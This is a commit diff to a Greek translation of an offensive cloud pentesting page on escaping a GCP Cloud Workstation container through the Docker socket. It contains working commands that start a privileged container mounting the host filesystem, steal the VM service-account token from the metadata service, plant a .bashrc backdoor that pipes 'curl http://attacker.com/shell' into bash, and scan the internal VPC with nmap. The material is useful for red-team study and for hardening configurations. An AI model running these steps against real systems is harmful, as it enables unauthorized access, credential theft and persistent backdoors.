Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat

This commit is contained in:
Translator
2026-03-03 15:42:21 +00:00
parent d4d23857f8
commit 750157dcb8

View File

@@ -1,18 +1,19 @@
# GCP - Cloud Workstations Privesc
{{#include ../../../banners/hacktricks-training.md}}
### Container Breakout via Docker Socket (Container -> VM -> Project)
Η κύρια διαδρομή privilege escalation σε Cloud Workstations προέρχεται από την ανάγκη υποστήριξης **Docker-in-Docker (DinD)** workflows για προγραμματιστές. Όταν η διαμόρφωση του workstation κάνει mount το Docker socket ή επιτρέπει privileged containers (συνηθισμένη διαμόρφωση), ένας επιτιθέμενος μέσα στο workstation container μπορεί να διαφύγει στο υποκείμενο Compute Engine VM και να κλέψει το service account token του.
Η κύρια διαδρομή privilege escalation στα Cloud Workstations προκύπτει από την ανάγκη υποστήριξης workflow **Docker-in-Docker (DinD)** για τους developers. Όταν η διαμόρφωση του workstation προσαρτά το Docker socket ή επιτρέπει privileged containers (συνηθισμένη ρύθμιση), ένας attacker μέσα στο workstation container μπορεί να ξεφύγει στο υποκείμενο Compute Engine VM και να κλέψει το service account token του.
**Προαπαιτούμενα:**
- Πρόσβαση σε τερματικό Cloud Workstation (μέσω SSH, παραβιασμένης συνεδρίας ή κλεμμένων διαπιστευτηρίων)
- Η διαμόρφωση του workstation πρέπει να κάνει mount `/var/run/docker.sock` ή να ενεργοποιεί privileged containers
- Πρόσβαση σε τερματικό Cloud Workstation (via SSH, compromised session, or stolen credentials)
- Η διαμόρφωση του workstation πρέπει να κάνει mount το `/var/run/docker.sock` ή να ενεργοποιεί privileged containers
**Πλαίσιο αρχιτεκτονικής:** Το workstation είναι ένα container (Layer 3) που τρέχει σε Docker/Containerd runtime (Layer 2) πάνω σε ένα GCE VM (Layer 1). Το Docker socket δίνει άμεση πρόσβαση στο host container runtime.
**Πλαίσιο αρχιτεκτονικής:** Ο workstation είναι ένα container (Layer 3) που τρέχει σε Docker/Containerd runtime (Layer 2) πάνω σε ένα GCE VM (Layer 1). Το Docker socket δίνει άμεση πρόσβαση στο host's container runtime.
> [!NOTE]
> Το εργαλείο [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) αυτοματοποιεί το πλήρες container escape και σας τοποθετεί σε root shell στο host VM.
> Το εργαλείο [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) αυτοματοποιεί το πλήρες container escape και σας δίνει ένα root shell στο host VM.
<details>
@@ -26,9 +27,9 @@ ls -l /var/run/docker.sock
<details>
<summary>Βήμα 2: Escape to the host VM filesystem</summary>
<summary>Βήμα 2: Απόδραση στο host VM filesystem</summary>
Εκκινούμε έναν privileged container, κάνοντας mount το root directory του host στο `/mnt/host`. Επίσης μοιραζόμαστε το network και το PID namespace του host για να μεγιστοποιήσουμε την ορατότητα.
Εκκινούμε ένα privileged container, προσαρτώντας το root directory του host στο `/mnt/host`. Επίσης μοιραζόμαστε το network και το PID namespace του host για να μεγιστοποιήσουμε την ορατότητα.
```bash
# Spawn a privileged container mounting the host's root filesystem
docker run -it --rm --privileged --net=host --pid=host \
@@ -44,7 +45,7 @@ chroot /mnt/host /bin/bash
<details>
<summary>Βήμα 3: Κλέψτε το VM service account token από το IMDS</summary>
<summary>Βήμα 3: Κλέψτε το VM service account token από IMDS</summary>
```bash
# From the host VM, query the Instance Metadata Service
curl -s -H "Metadata-Flavor: Google" \
@@ -62,15 +63,15 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
> [!CAUTION]
> **Ελέγξτε τα Scopes!**
> Ακόμα και αν ο συνδεδεμένος Service Account είναι **Editor**, η VM μπορεί να περιορίζεται από access scopes.
> Αν δείτε `https://www.googleapis.com/auth/cloud-platform`, έχετε πλήρη πρόσβαση.
> Αν βλέπετε μόνο `logging.write` και `monitoring.write`, περιορίζεστε στα **Network Pivot** και **Persistence** vectors παρακάτω.
> Ακόμα κι αν ο συνδεδεμένος Service Account είναι **Editor**, το VM μπορεί να περιορίζεται από access scopes.
> Αν βλέπετε `https://www.googleapis.com/auth/cloud-platform`, έχετε πλήρη πρόσβαση.
> Αν βλέπετε μόνο `logging.write` και `monitoring.write`, περιορίζεστε στα vectors **Network Pivot** και **Persistence** παρακάτω.
<details>
<summary>Βήμα 4: Επιτύχετε Persistence (Backdoor the User)</summary>
<summary>Step 4: Επιτύχετε Persistence (Backdoor the User)</summary>
Cloud Workstations προσαρτούν έναν persistent disk στο `/home/user`. Επειδή ο container user (συνήθως `user`, UID 1000) ταυτίζεται με τον host user (UID 1000), μπορείτε να γράψετε στον home directory του host. Αυτό σας επιτρέπει να backdoor το περιβάλλον ακόμα κι αν το workstation container αναδημιουργηθεί.
Cloud Workstations προσαρτούν έναν persistent disk στο `/home/user`. Επειδή ο container user (συνήθως `user`, UID 1000) αντιστοιχεί στον host user (UID 1000), μπορείτε να γράψετε στον home directory του host. Αυτό σας επιτρέπει να backdoor το περιβάλλον ακόμα και αν το workstation container επαναδημιουργηθεί.
```bash
# Check if you can write to the host's persistent home
ls -la /mnt/host/home/user/
@@ -83,9 +84,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
<details>
<summary>Βήμα 5: Network Pivot (Internal VPC Access)</summary>
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
Εφόσον μοιράζεστε το host network namespace (`--net=host`), τώρα είστε ένας αξιόπιστος κόμβος στο VPC. Μπορείτε να σαρώσετε για εσωτερικές υπηρεσίες που επιτρέπουν πρόσβαση βάσει IP whitelisting.
Εφόσον μοιράζεστε το χώρο ονομάτων δικτύου του host (`--net=host`), πλέον είστε ένας αξιόπιστος κόμβος στο VPC. Μπορείτε να σαρώσετε για εσωτερικές υπηρεσίες που επιτρέπουν πρόσβαση βάσει IP whitelisting.
```bash
# Install scanning tools on the host (if internet access allows)
apk add nmap
@@ -94,3 +95,7 @@ apk add nmap
nmap -sS -p 80,443,22 10.0.0.0/8
```
</details>
{{#include ../../../banners/hacktricks-training.md}}